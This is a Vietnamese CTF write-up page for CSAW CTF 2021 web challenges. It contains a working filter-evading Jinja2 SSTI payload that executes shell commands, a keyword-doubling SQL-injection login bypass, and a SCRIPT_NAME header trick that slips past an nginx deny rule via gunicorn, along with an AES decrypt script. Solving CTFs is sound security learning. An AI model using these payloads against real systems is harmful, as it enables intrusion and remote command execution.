🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • ninja
  • no-pass-needed
  • -----AFTER-END-----
  • Gatekeeping
  • securinotes
  • scp-terminal

Was this helpful?

Edit on GitHub
  1. CTF WRITE UP

[Web]CSAW CTF 2021

Previous[Web]ImaginaryCTF 2021Next[Web]RaRCTF 2021

Last updated 3 years ago

Was this helpful?

Source saved:

ninja

SSTI có filter nên bypass bằng hex encode và |attr

PAYLOAD:

{{
    request
    |attr('application')
    |attr('\x5f\x5fglobals\x5f\x5f')
    |attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
    |attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('\x6f\x73')
    |attr('popen')('cat flag.txt')|attr('read')()
}}

FLAG: flag{m0mmy_s33_1m_4_r34l_n1nj4}

no-pass-needed

Như description thì đăng nhập với username là admin là được. fuzz admin' or 1=1 -- - thì phát hiện bị xóa chuỗi admin và từ space trở về sau.

PAYLOAD: username=adadminmin'/**/or/**/1=1--/**/-&password=blahblah

FLAG: flag{wh0_n3ed5_a_p4ssw0rd_anyw4y}

-----AFTER-END-----

Một giải thất bại để đồng đội gánh :( chỉ làm được 2 câu ez. Bài có source thì không tìm ra bug còn không source thì fuzz quá ngu :))) thôi thì lỡ viết rồi thì viết luôn mấy bài không giải được.

Dưới đây là wu được viết lại sau khi đã đọc write up khác nhầm mục đích lưu lại làm tài liệu học tập.

Gatekeeping

Tóm tắt: bài này cho mình 1 file cần được decode để có flag. Nhưng khi gửi file này lên server thì sẽ không decode được do không có key và có 1 endpoint để get được key là /admin/key nhưng không thể access được do đã bị deny all bởi nginx config.

Trong file config có nhắc về path_info được được gunicorn xử lý trong wsgi. Đọc source code wsgi.py trên github của của gunicorn.

Đoạn code trên cho mình biết có thể truyền 1 header script_name. Header này có thể giúp mình bypass được deny của nginx (với điều kiện underscores_in_headers ở mode on).

Giải thích: khi path là a/b/c và script_name là a được gửi đi đến nginx rồi được truyền cho gunicorn backend xử lý thì path được nhận lúc này là /b/c.

GET /blah/admin/key HTTP/1.1
key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d
SCRIPT_NAME: blah

Get được key: b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3

Có key có file và cách decrypt có trong file server.py, thực hiện viết lại script decrypt:

from Crypto.Cipher import AES
import binascii

with open('dist/flag.txt.enc','rb') as f:
    key = binascii.unhexlify('b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3')
    data = f.read()
    iv = data[:AES.block_size]

    data = data[AES.block_size:]
    cipher = AES.new(key, AES.MODE_CFB, iv)

    print(cipher.decrypt(data))

FLAG: flag{gunicorn_probably_should_not_do_that}

securinotes

scp-terminal

https://github.com/th13ntc/ctf-source-saved/tree/main/csawCTF2021